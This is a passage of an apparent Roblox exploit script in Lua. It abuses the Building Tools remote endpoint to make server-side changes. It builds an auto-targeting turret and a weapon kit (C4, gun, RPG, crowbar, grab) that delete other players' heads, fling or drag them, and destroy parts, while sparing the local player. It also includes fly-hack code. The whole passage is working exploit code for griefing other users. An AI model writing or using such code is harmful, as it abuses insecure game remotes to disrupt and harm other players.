				ResizeObject(partd,partd.CFrame,Vector3.new(12, 1, 2))

				Rename(partd,"Gigachad")

				local soldier = workspace:WaitForChild("Gigachad")

				CreateMesh(soldier,"rbxassetid://16751697688");
				ChangeMeshTexture(soldier,"rbxassetid://16751697852");

				Anchor(soldier,true);
				CanCollide(soldier,false)

				local bull = false;
				local bullet = nil;
				while true do
					local nearestPlayer = FindNearestPlayer(soldier)
					if nearestPlayer then
						if nearestPlayer.Name == game.Players.LocalPlayer.Name then

						else
							local character = nearestPlayer.Character
							if character then
								local targetPosition = character.HumanoidRootPart.Position
								local direction = (targetPosition - soldier.Position).Unit
								local rotation = math.atan2(direction.X, direction.Z)
								Rotate(soldier, soldier.Position.X, soldier.Position.Y, soldier.Position.Z, 0, rotation, 0)
								--SHOOTING
								if bull == false and bullet == nil then
									bull = true
									CreatePart(soldier.CFrame,workspace)

									local partl = GetNearestPartTo(soldier)

									Rename(partl,"Bullet")

									bullet = workspace:WaitForChild("Bullet")
									CreateFire(bullet);
									ChangeTransparency(bullet,1);
									CanCollide(bullet,false)

									local ls = Instance.new("Sound",workspace)
									ls.Volume = 100;
									ls.SoundId = "rbxassetid://1646327903"
									ls:Play()

									local speed = 5
									local target = character.HumanoidRootPart.Position
									local maxDistance = 100 -- max distance the bullet can travel
									local function ShootBullet()
										while bullet and (bullet.Position - target).Magnitude > 1 and (bullet.Position - soldier.Position).Magnitude < maxDistance do
											local direction = (target - bullet.Position).Unit
											local newPosition = bullet.Position + direction * speed * 0.7
											MovePart(bullet, CFrame.new(newPosition))
											for i,v in game.Players:GetPlayers() do
												local chark = v.Character
												if chark then
													local head = chark:FindFirstChild("Head")
													local hrp = chark:FindFirstChild("Head")
													if head and hrp then
														local distance = (bullet.Position - hrp.Position).Magnitude
														if distance < 15 then
															DestroyObject(bullet)
															DestroyObject(head)
															bull = false
															bullet = nil
															ls:Destroy()
															break
														end
													end
												end
											end
											task.wait(0.1)
										end
										if bull then
											if bullet then
												DestroyObject(bullet)
											end
											bull = false
											bullet = nil
										end
									end
									ShootBullet()
								end
							end
						end
					end
					wait(0.1)
				end
			end

			CreateSoldier()
		end

		local function dofreemanr6()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			local function CreateBall(position,parent)
				Event:InvokeServer("CreatePart", "Ball", position, parent)
			end

			local function CreateCylinder(position,parent)
				Event:InvokeServer("CreatePart", "Cylinder", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ResizeObject(part,cframe,vector3)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe,
							["Size"] = vector3
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeNeon(part)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Material"] = Enum.Material.Neon
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeDecal(part,face,textureid)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal"
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal",
							["Texture"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CreateSmoke(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Smoke"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateSpotLight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight" -- Spot light, Point light, Surface light
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeBrightness(part)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight", -- or "SpotLight"
							["Brightness"] = 10
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeBrightnessAngle(part,angle)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight", -- or "SpotLight"
							["Angle"] = angle
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			-- Function to find the nearest player
			local function FindNearestPlayer(soldier)
				local nearestPlayer = nil
				local nearestDistance = math.huge

				for _, player in pairs(game.Players:GetPlayers()) do
					local character = player.Character
					if character then
						if character.HumanoidRootPart then
							local distance = (character.HumanoidRootPart.Position - soldier.Position).Magnitude
							if distance < nearestDistance then
								if player.Name == game.Players.LocalPlayer.Name then

								else
									nearestDistance = distance
									nearestPlayer = player
								end
							end
						end
					end
				end
				return nearestPlayer
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("HumanoidRootPart")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function GetNearestPartTo(soldier)
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("HumanoidRootPart")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") or part:IsA("MeshPart") then
							if part.Name == "crowbar" or part.Name == "Hull" or part.Name == "gun" or part.Name == "rpg" or part.Parent == game.Players.LocalPlayer.Character then

							else
								local distance = (soldier.Position - part.Position).Magnitude
								if distance < nearestDistance then
									nearestDistance = distance
									nearestPart = part
								end
							end
						end
					end
				end

				return nearestPart
			end



			---------freeman script---------------------
			if char:FindFirstChild("Animate") then
				char:FindFirstChild("Animate"):Destroy()
			end

			for i,v in char:GetChildren() do
				if v:IsA("Accessory") then
					v:Destroy()
				elseif v:IsA("Part") or v:IsA("MeshPart") then
					ChangeTransparency(v,1);
				end
			end
			if char:FindFirstChild("Head"):FindFirstChild("face") then
				DestroyObject(char:FindFirstChild("Head"):FindFirstChild("face"));
			end
			---ye-----------------------------------

			CreatePart(char:FindFirstChild("Torso").CFrame,workspace.Terrain)

			local akakak = GetNearestPart()
			CanCollide(akakak,false)
			Rename(akakak,"Hull")
			local hull = workspace.Terrain:FindFirstChild("Hull")

			CreateMesh(hull,"rbxassetid://12903182903")
			ChangeMeshTexture(hull,"rbxassetid://1202034198")
			ChangeMeshSize(hull,Vector3.new(0.2,0.2,0.2))


			local createcouch = Instance.new("Tool",char)
			createcouch.Enabled = true
			createcouch.RequiresHandle = false
			createcouch.Name = "CreateCouch"

			local createsmoke = Instance.new("Tool",char)
			createsmoke.Enabled = true
			createsmoke.RequiresHandle = false
			createsmoke.Name = "CreateSmoke"

			local createc4 = Instance.new("Tool",char)
			createc4.Enabled = true
			createc4.RequiresHandle = false
			createc4.Name = "CreateC4"

			local grab = Instance.new("Tool",char)
			grab.Enabled = true
			grab.RequiresHandle = false
			grab.Name = "Grab"

			local function CreateCouch()
				local tors = char:FindFirstChild("Torso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(1,1000);
				Rename(akakakek,tostring(randomname))
				local newcouch = workspace.Terrain:FindFirstChild(tostring(randomname))

				CreateMesh(newcouch,"rbxassetid://437989588")
				ChangeMeshTexture(newcouch,"rbxassetid://437989607")
				ChangeMeshSize(newcouch,Vector3.new(0.001,0.001,0.001))
				Anchor(newcouch,false)
			end

			local function CSmoke()
				local tors = char:FindFirstChild("Torso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(1,1000);
				Rename(akakakek,tostring(randomname))
				local newsmoke = workspace.Terrain:FindFirstChild(tostring(randomname))

				CreateMesh(newsmoke,"rbxassetid://437001004")
				ChangeMeshTexture(newsmoke,"rbxassetid://437001024")
				ChangeMeshSize(newsmoke,Vector3.new(0.005,0.005,0.005))
				Anchor(newsmoke,false)
				CreateSmoke(newsmoke);
			end

			local grabbed = false;
			local function Grab()
				local hull = workspace.Terrain:FindFirstChild("Hull")
				local nearestplr = FindNearestPlayer(hull);
				grabbed = true;
				if grabbed == true then
					local run
					run = game:GetService("RunService").Heartbeat:Connect(function()
						if nearestplr.Character.HumanoidRootPart then
							MovePart(nearestplr.Character.HumanoidRootPart,hull.CFrame)
						end
					end)
				else
					run:Disconnect();
				end
			end

			local function CreateExplosion()
				local part = workspace:FindFirstChild("Gigaboom")
				local part2 = workspace:FindFirstChild("C4")
				ChangeTransparency(part,0)


				local stop = false;

				MovePart(part,part2.CFrame)

				ChangeTransparency(part2,1);
				DestroyObject(part2);


				local degreez = 0
				local vectorx = 1;
				local vectory = 1;
				local vectorz = 1;

				local localsound = Instance.new("Sound",workspace);
				localsound.SoundId = "rbxassetid://2814355743"
				localsound.Volume = 10
				localsound:Play();

				local transparency = 0;

				local impact = true;
				ChangeTransparency(part2,0)
				local run
				run = game:GetService("RunService").Heartbeat:Connect(function()
					if stop == true then
						DestroyObject(workspace:FindFirstChild("Gigaboom"));
						DestroyObject(workspace:FindFirstChild("C4"));
						run:Disconnect();
					else

						Rotate(part,part.CFrame.X,part.CFrame.Y,part.CFrame.Z,0,math.rad(degreez),0)

						ChangeMeshSize(part,Vector3.new(vectorx, vectory, vectorz));
						ChangeTransparency(part,transparency);

						transparency = transparency + 0.03
						vectory = vectory + 10
						vectorx = vectorx + 0.5
						vectorz = vectorz + 0.5
						degreez = degreez + 10

						if impact == true then
							for i,v in game.Players:GetPlayers() do
								local chark = v.Character
								if chark then
									local head = chark:FindFirstChild("Head")
									local hrp = chark:FindFirstChild("HumanoidRootPart")
									if head and hrp then
										local distance = (part2.Position - hrp.Position).Magnitude
										if distance < 40 then
											if v.Name == game.Players.LocalPlayer.Name then
												--whitelisted
											else
												MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
												impact = false
											end
										end
									end
								end
							end
						end

						if transparency > 1 then
							stop = true;
							if workspace.Terrain:FindFirstChild("Gigaboom") then
								stop = true;
								DestroyObject(workspace.Terrain:FindFirstChild("Gigaboom"));
								DestroyObject(workspace.Terrain:FindFirstChild("C4"));
								run:Disconnect();
								stop = true;
							end
						end
					end
				end)
			end

			local function CreateC4()
				local tors = char:FindFirstChild("Torso")
				CreatePart(CFrame.new(tors.CFrame.X,tors.CFrame.Y+10,tors.CFrame.Z+4),workspace)

				local akakakek = GetNearestPart()
				Rename(akakakek,"C4")
				local newc4 = workspace:FindFirstChild("C4")

				CreateMesh(newc4,"rbxassetid://437001004")
				ChangeMeshTexture(newc4,"rbxassetid://437001024")
				ChangeMeshSize(newc4,Vector3.new(0.005,0.005,0.005))
				Anchor(newc4,false);

				CreatePart(newc4.CFrame,workspace);
				local partd2 = GetNearestPart();

				Rename(partd2,"Gigaboom");
				local part2 = workspace:FindFirstChild("Gigaboom")
				ChangeTransparency(part2,1);

				CreateMesh(part2,"rbxassetid://6862105399");

				CanCollide(part2,false);

				task.wait(3)
				CreateExplosion()
			end

			local fpv = false;
			local crowbarr = false;
			local gunn = false;
			local rpgg = false;
			local function switchtofpv()
				local hull = workspace.Terrain:FindFirstChild("Hull")
				DestroyObject(hull:FindFirstChild("Mesh"));

				CreateMesh(hull,"rbxassetid://127182968550642")
				ChangeMeshTexture(hull,"rbxassetid://73913161706616")
				ChangeMeshSize(hull,Vector3.new(0.3,0.3,0.3))


				--crowbar
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek = GetNearestPart()
				Rename(akakakek,"crowbar")
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				ChangeTransparency(crowbar,1);
				CanCollide(crowbar,false)

				CreateMesh(crowbar,"rbxassetid://132616338987825")
				ChangeMeshTexture(crowbar,"rbxassetid://76743217167069")
				ChangeMeshSize(crowbar,Vector3.new(0.3,0.3,0.3))

				--gun
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek2 = GetNearestPart()
				Rename(akakakek2,"gun")
				local gun = workspace.Terrain:FindFirstChild("gun")
				ChangeTransparency(gun,1);
				CanCollide(gun,false)

				CreateMesh(gun,"rbxassetid://430034545")
				ChangeMeshTexture(gun,"rbxassetid://430034547")
				ChangeMeshSize(gun,Vector3.new(0.3,0.3,0.3))

				--rpg
				CreatePart(CFrame.new(hull.CFrame.X+3,hull.CFrame.Y,hull.CFrame.Z-3),workspace.Terrain)

				local akakakek2 = GetNearestPart()
				Rename(akakakek2,"rpg")
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				ChangeTransparency(rpg,1);
				CanCollide(rpg,false)

				CreateMesh(rpg,"rbxassetid://9742460834")
				ChangeMeshTexture(rpg,"rbxassetid://9742460902")
				ChangeMeshSize(rpg,Vector3.new(0.3,0.3,0.3))

				for i,v in char:GetChildren() do
					if v.Name == "Head" then
						ChangeTransparency(v,0);
					end
				end

				fpv = true;

			end

			createcouch.Activated:Connect(function()
				CreateCouch();
			end)

			createsmoke.Activated:Connect(function()
				CSmoke();
			end)

			createc4.Activated:Connect(function()
				CreateC4();
			end)

			grab.Activated:Connect(function()
				if grabbed == false then
					Grab();
				else
					grabbed = false
				end
			end)

			local head = char:FindFirstChild("Head")

			local function updateTurretRotation()
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				local gun = workspace.Terrain:FindFirstChild("gun")
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				local cameraCFrame = workspace.Camera.CFrame
				local headCFrame = char.Head.CFrame
				local torsoCFrame = char.Torso.CFrame

				local lookVector = cameraCFrame.LookVector
				local rightVector = cameraCFrame.RightVector

				local oppositeVector = Vector3.new(-lookVector.X, 0, -lookVector.Z).Unit

				local anglesX, anglesY, anglesZ = 0, math.atan2(oppositeVector.X, oppositeVector.Z), 0

				if fpv == true then
					Rotate(hull, torsoCFrame.Position.X, torsoCFrame.Position.Y-2, torsoCFrame.Position.Z, anglesX, anglesY, anglesZ)
				else
					Rotate(hull, headCFrame.Position.X, headCFrame.Position.Y + 3, headCFrame.Position.Z, anglesX, anglesY, anglesZ)
				end
				if crowbarr == true then
					Rotate(crowbar, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
				if gunn == true then
					Rotate(gun, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
				if rpgg == true then
					Rotate(rpg, hull.Position.X+3, hull.Position.Y, hull.Position.Z-3, anglesX, anglesY, anglesZ)
				end
			end

			local function calculateDirection(gunPosition, mouseHitPosition)
				local direction = (mouseHitPosition - gunPosition).Unit
				return direction
			end


			local function calculateAngles(direction)
				local angleX = math.atan2(-direction.X, math.sqrt(direction.Y^2 + direction.Z^2))
				local angleY = math.asin(direction.Y)
				local angleZ = math.atan2(-direction.Z, direction.Y)
				return angleX, angleY, angleZ
			end

			local UserInputService = game:GetService("UserInputService")
			local RunService = game:GetService("RunService")
			local Players = game:GetService("Players")
			local mouse = game:GetService("Players").LocalPlayer:GetMouse()

			local function CreateBullet()
				local gun = workspace.Terrain:FindFirstChild("gun")
				CreatePart(CFrame.new(gun.CFrame.X,gun.CFrame.Y,gun.CFrame.Z),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(0,1000)
				Rename(akakakek,tostring(randomname))
				local bullet = workspace.Terrain:FindFirstChild(tostring(randomname))
				CanCollide(bullet,false)

				ResizeObject(bullet,bullet.CFrame,Vector3.new(1,1,1))

				CreateSpotLight(bullet);

				ChangeBrightness(bullet);

				ChangeBrightnessAngle(bullet,360);


				local mouseHitPosition = mouse.Hit.Position
				local gunPosition = gun.Position
				local direction = calculateDirection(gunPosition, mouseHitPosition)
				local angleX, angleY, angleZ = calculateAngles(direction)


				Rotate(bullet, gunPosition.X, gunPosition.Y, gunPosition.Z, angleX, angleY, angleZ)


				local distance = (mouseHitPosition - gunPosition).Magnitude
				local speed = 100
				local time = distance / speed
				local startTime = tick()
				local currentPosition = gunPosition
				while tick() - startTime < time do
					local t = (tick() - startTime) / time
					local newPosition = gunPosition:Lerp(mouseHitPosition, t)
					local newDirection = (newPosition - currentPosition).Unit
					local newAngleX, newAngleY, newAngleZ = calculateAngles(newDirection)
					Rotate(bullet, newPosition.X, newPosition.Y, newPosition.Z, newAngleX, newAngleY, newAngleZ)
					currentPosition = newPosition


					for _, player in pairs(Players:GetPlayers()) do
						if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
							local distanceToPlayer = (bullet.Position - player.Character.HumanoidRootPart.Position).Magnitude
							if distanceToPlayer <= 20 then
								if player.Name == game.Players.LocalPlayer.Name then

								else
									DestroyObject(player.Character:FindFirstChild("Head"))
									DestroyObject(bullet)
									return
								end
							end
						end
					end
					local maxDistance = 150
					if (bullet.Position - gunPosition).Magnitude > maxDistance then
						DestroyObject(bullet)
						return
					end

					RunService.RenderStepped:wait()
				end
				DestroyObject(bullet)
			end

			local function CreateRocket()
				local rpg = workspace.Terrain:FindFirstChild("rpg")
				CreatePart(CFrame.new(rpg.CFrame.X,rpg.CFrame.Y,rpg.CFrame.Z),workspace.Terrain)

				local akakakek = GetNearestPart()
				local randomname = math.random(0,1000)
				Rename(akakakek,tostring(randomname))
				local rocket = workspace.Terrain:FindFirstChild(tostring(randomname))
				CreateMesh(rocket,"rbxassetid://454821348")
				ChangeMeshTexture(rocket,"rbxassetid://454821354")
				CanCollide(rocket,false)
				ChangeMeshSize(rocket,Vector3.new(0.01,0.01,0.01))

				ResizeObject(rocket,rocket.CFrame,Vector3.new(1,1,1))


				local mouseHitPosition = mouse.Hit.Position
				local gunPosition = rpg.Position
				local direction = calculateDirection(gunPosition, mouseHitPosition)
				local angleX, angleY, angleZ = calculateAngles(direction)


				Rotate(rocket, gunPosition.X, gunPosition.Y, gunPosition.Z, angleX, angleY, angleZ)

				CreatePart(rocket.CFrame,workspace.Terrain);
				local partd2 = GetNearestPart();

				local randomname2 = math.random(0,1000)

				Rename(partd2,"hui");
				local boom = workspace.Terrain:FindFirstChild("hui")
				ChangeTransparency(boom,0.5);

				CreateMesh(boom,"rbxassetid://6862105399");

				CanCollide(boom,false);

				local distance = (mouseHitPosition - gunPosition).Magnitude
				local speed = 100
				local time = distance / speed
				local startTime = tick()
				local currentPosition = gunPosition


				local transparency = 0
				local vectory = 0
				local vectorx = 0
				local vectorz = 0
				local degreez = 0
				local doonce = false;
				local stop = false;

				local impact = true;
				ChangeTransparency(boom,0)
				local run                
				while tick() - startTime < time do
					if stop == true then
						DestroyObject(workspace.Terrain:FindFirstChild(boom));
						DestroyObject(workspace.Terrain:FindFirstChild(rocket));
					else
						local t = (tick() - startTime) / time
						local newPosition = gunPosition:Lerp(mouseHitPosition, t)
						local newDirection = (newPosition - currentPosition).Unit
						local newAngleX, newAngleY, newAngleZ = calculateAngles(newDirection)
						Rotate(rocket, newPosition.X, newPosition.Y, newPosition.Z, newAngleX, newAngleY, newAngleZ)
						currentPosition = newPosition

						for _, player in pairs(Players:GetPlayers()) do
							if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
								local distanceToPlayer = (rocket.Position - player.Character.HumanoidRootPart.Position).Magnitude
								if distanceToPlayer <= 20 then
									if player.Name == game.Players.LocalPlayer.Name then

									else
										run = game:GetService("RunService").Heartbeat:Connect(function()
											if stop == true then
												DestroyObject(workspace.Terrain:FindFirstChild(boom));
												DestroyObject(workspace.Terrain:FindFirstChild(rocket));
												run:Disconnect();
											else

												Rotate(boom,rocket.CFrame.X,rocket.CFrame.Y,rocket.CFrame.Z,0,math.rad(degreez),0)

												ChangeMeshSize(boom,Vector3.new(vectorx, vectory, vectorz));
												ChangeTransparency(boom,transparency);

												transparency = transparency + 0.03
												vectory = vectory + 10
												vectorx = vectorx + 0.5
												vectorz = vectorz + 0.5
												degreez = degreez + 10

												if impact == true then
													for i,v in game.Players:GetPlayers() do
														local chark = v.Character
														if chark then
															local head = chark:FindFirstChild("Head")
															local hrp = chark:FindFirstChild("HumanoidRootPart")
															if head and hrp then
																local distance = (boom.Position - hrp.Position).Magnitude
																if distance < 40 then
																	if v.Name == game.Players.LocalPlayer.Name then
																		--whitelisted
																	else
																		MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
																		impact = false
																	end
																end
															end
														end
													end
												end

												if transparency > 1 then
													stop = true;
													if workspace.Terrain:FindFirstChild(boom) or workspace.Terrain:FindFirstChild(rocket) then
														stop = true;
														DestroyObject(workspace.Terrain:FindFirstChild(boom));
														DestroyObject(workspace.Terrain:FindFirstChild(rocket));
														run:Disconnect();
														stop = true;
													end
												end
											end
										end)
									end
								end
							end
						end
						return
					end
					local maxDistance = 150
					if (rocket.Position - gunPosition).Magnitude > maxDistance then
						DestroyObject(rocket)
						return
					end

					RunService.RenderStepped:wait()
				end
				DestroyObject(rocket)
			end

			local function UseCrowbar()
				local crowbar = workspace.Terrain:FindFirstChild("crowbar")
				local mouse = LocalPlayer:GetMouse()
				MovePart(crowbar, CFrame.new(mouse.Hit.Position));

				local hitpart = GetNearestPartTo(crowbar)
				DestroyObject(hitpart)
			end


			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.C then
					if (not gameprocess) then
						if fpv == false then
							switchtofpv()
						end
					end
				end
			end)

			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.V then
					if (not gameprocess) then
						if fpv == true then
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local gun = workspace.Terrain:FindFirstChild("gun")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if crowbar.Transparency == 1 then
								crowbarr = true
								gunn = false
								rpgg = false
								ChangeTransparency(crowbar,0)
								ChangeTransparency(gun,1)
								ChangeTransparency(rpg,1)
							else
								crowbarr = false;
								ChangeTransparency(crowbar,1)
							end
						end
					end
				end
			end)
			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.B then
					if (not gameprocess) then
						if fpv == true then
							local gun = workspace.Terrain:FindFirstChild("gun")
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if gun.Transparency == 1 then
								gunn = true
								crowbarr = false
								rpgg = false
								ChangeTransparency(gun,0)
								ChangeTransparency(crowbar,1)
								ChangeTransparency(rpg,1)
							else
								gunn = false;
								ChangeTransparency(gun,1)
							end
						end
					end
				end
			end)
			UIS.InputBegan:connect(function(input, gameprocess)
				if input.KeyCode == Enum.KeyCode.X then
					if (not gameprocess) then
						if fpv == true then
							local gun = workspace.Terrain:FindFirstChild("gun")
							local crowbar = workspace.Terrain:FindFirstChild("crowbar")
							local rpg = workspace.Terrain:FindFirstChild("rpg")
							if rpg.Transparency == 1 then
								gunn = false
								crowbarr = false
								rpgg = true
								ChangeTransparency(gun,1)
								ChangeTransparency(crowbar,1)
								ChangeTransparency(rpg,0)
							else
								rpgg = false;
								ChangeTransparency(rpg,1)
							end
						end
					end
				end
			end)
			UserInputService.InputBegan:Connect(function(input, gameprocess)
				if input.UserInputType == Enum.UserInputType.MouseButton1 then
					if (not gameprocess) then
						if gunn == true then
							CreateBullet()
						end
						if crowbarr == true then
							UseCrowbar()
						end
						if rpgg == true then
							CreateRocket()
						end
					end
				end
			end)

			local vfly = false
			local FLYING = false
			local QEfly = true
			local iyflyspeed = 1
			local vehicleflyspeed = 1
			function NOFLY()
				FLYING = false
				if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end
				if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
					Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
				end
				pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end)
			end

			local function CheckDeath()
				if LocalPlayer.Character.Humanoid.Health < 100 then
					if fpv == true then
						local gun = workspace.Terrain:FindFirstChild("gun")
						local crowbar = workspace.Terrain:FindFirstChild("crowbar")
						local rpg = workspace.Terrain:FindFirstChild("rpg")
						local hull = workspace.Terrain:FindFirstChild("Hull")
						NOFLY()
						DestroyObject(rpg)
						DestroyObject(hull)
						DestroyObject(crowbar)
						DestroyObject(gun)
					else
						NOFLY()
						DestroyObject(hull)
					end
				end
			end

			local run
			run = game:GetService("RunService").Heartbeat:Connect(function()
				updateTurretRotation()
				CheckDeath()
			end)

			IYMouse = Players.LocalPlayer:GetMouse()
			function getRoot(char)
				local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso')
				return rootPart
			end
			function sFLY(vfly)
				repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
				repeat wait() until IYMouse
				if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end

				local T = getRoot(Players.LocalPlayer.Character)
				local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
				local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
				local SPEED = 0

				local function FLY()
					FLYING = true
					local BG = Instance.new('BodyGyro')
					local BV = Instance.new('BodyVelocity')
					BG.P = 9e4
					BG.Parent = T
					BV.Parent = T
					BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
					BG.cframe = T.CFrame
					BV.velocity = Vector3.new(0, 0, 0)
					BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
					task.spawn(function()
						repeat wait()
							if not vfly and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
